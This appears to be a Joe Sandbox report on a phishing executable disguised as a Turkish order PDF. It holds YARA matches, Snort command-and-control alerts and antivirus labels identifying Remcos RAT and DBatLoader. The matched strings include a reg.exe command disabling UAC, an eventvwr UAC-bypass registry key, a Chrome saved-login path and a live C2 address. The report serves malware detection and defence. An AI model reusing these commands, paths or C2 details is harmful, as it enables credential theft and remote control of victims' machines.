15.2.DpiScaling.exe.1054198f.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
15.2.DpiScaling.exe.1054198f.2.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.1054198f.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
15.2.DpiScaling.exe.1054198f.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
15.2.DpiScaling.exe.1054198f.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
15.2.DpiScaling.exe.1054198f.2.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.1054198f.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
14.2.logagent.exe.10540000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.10540000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
14.2.logagent.exe.10540000.1.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.10540000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
14.2.logagent.exe.1054198f.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.1054198f.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
14.2.logagent.exe.1054198f.2.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.1054198f.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
8.2.Eluiezilfw.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
8.2.Eluiezilfw.exe.3c30000.7.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
8.0.Eluiezilfw.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 82 entries

Snort Signatures

ETPRO TROJAN MSIL/Remcos RAT CnC Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 37.0.14.195

Timestamp:	192.168.2.337.0.14.1954977850172844577 06/26/22-09:44:11.704757
SID:	2844577
Source Port:	49778
Destination Port:	5017
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Outbound) - Source IP: 192.168.2.3 - Destination IP: 37.0.14.195

Timestamp:	192.168.2.337.0.14.1954977850172845323 06/26/22-09:44:57.649154
SID:	2845323
Source Port:	49778
Destination Port:	5017
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Inbound) - Source IP: 37.0.14.195 - Destination IP: 192.168.2.3

Timestamp:	37.0.14.195192.168.2.35017497782845324 06/26/22-09:44:57.648577
SID:	2845324
Source Port:	5017
Destination Port:	49778
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

ReversingLabs: Detection: 21%

Yara detected Remcos RAT

Source: Yara match	File source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: logagent.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DpiScaling.exe PID: 5936, type: MEMORYSTR

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Eluiezilfw.exe

ReversingLabs: Detection: 21%

Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4348.64.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acbbdc.14.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962dac.51.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.logagent.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 13.3.Eluiezilfw.exe.3ac5ecc.84.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39600d8.18.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac1b54.30.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac0168.21.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.logagent.exe.10540000.2.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39717a0.68.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397dbec.69.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac7bf0.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac413c.59.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac3034.55.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3984008.36.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad28f8.32.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.34.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.39.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad8008.106.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac0168.20.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad17a0.66.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac8560.26.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad9a8c.88.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.2324788.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac00d8.18.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac803c.108.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adbf00.62.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adafd8.34.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.0.DpiScaling.exe.10540000.3.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 13.3.Eluiezilfw.exe.3ad54e0.103.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acd700.50.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad001c.61.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acff08.23.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acc008.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966c84.100.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.37.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3addbec.69.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6d08.106.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac7bf0.16.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3960168.22.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4578.12.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac52c8.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.10540000.8.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964ae4.70.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac0168.20.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac217c.47.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39754e0.101.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.logagent.exe.10540000.3.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ad54e0.103.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac2dac.51.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3974008.91.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.23a33e8.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39728f8.32.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6924.76.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395e240.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acc6a8.43.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac52c8.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad94ec.80.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395dda4.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adf8dc.45.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adbf00.63.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac704c.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acbbdc.14.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396dc40.56.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad3e08.79.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6d08.105.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acc6a8.43.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.0.logagent.exe.10540000.0.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966d08.105.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad94ec.80.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad94ec.82.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.2.logagent.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.2.Eluiezilfw.exe.3168bd8.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396bbdc.13.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac217c.47.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad4008.91.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.2.Eluiezilfw.exe.10540000.8.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966588.94.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac2d80.39.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396217c.48.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac00d8.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acdc40.54.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3add83c.75.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac26fc.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac8008.21.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac26fc.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.0.logagent.exe.10540000.2.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 13.3.Eluiezilfw.exe.3ae4008.36.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac03a8.25.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.logagent.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ac1b54.29.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.40.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acbbdc.13.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396704c.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3add83c.75.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3965ee4.92.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4578.12.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acc008.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.0.logagent.exe.10540000.3.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ac26fc.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39603a8.25.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad5fb8.44.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.0.logagent.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ac217c.48.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac2d80.39.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3add83c.74.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad5fb8.42.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adbf00.63.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad4008.93.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39746cc.96.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acd700.52.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3961b54.29.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964578.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad46cc.98.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3aca22c.30.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acff08.23.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966d08.104.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3978008.107.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.2364588.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39626fc.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac52c8.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acc6a8.41.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac03a8.27.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.logagent.exe.1054198f.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 13.3.Eluiezilfw.exe.3ad54e0.102.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397bf00.62.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c6a8.41.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397001c.60.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac2dac.49.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3984008.38.unpack	Avira: Label: TR/Patched.Ren.Gen
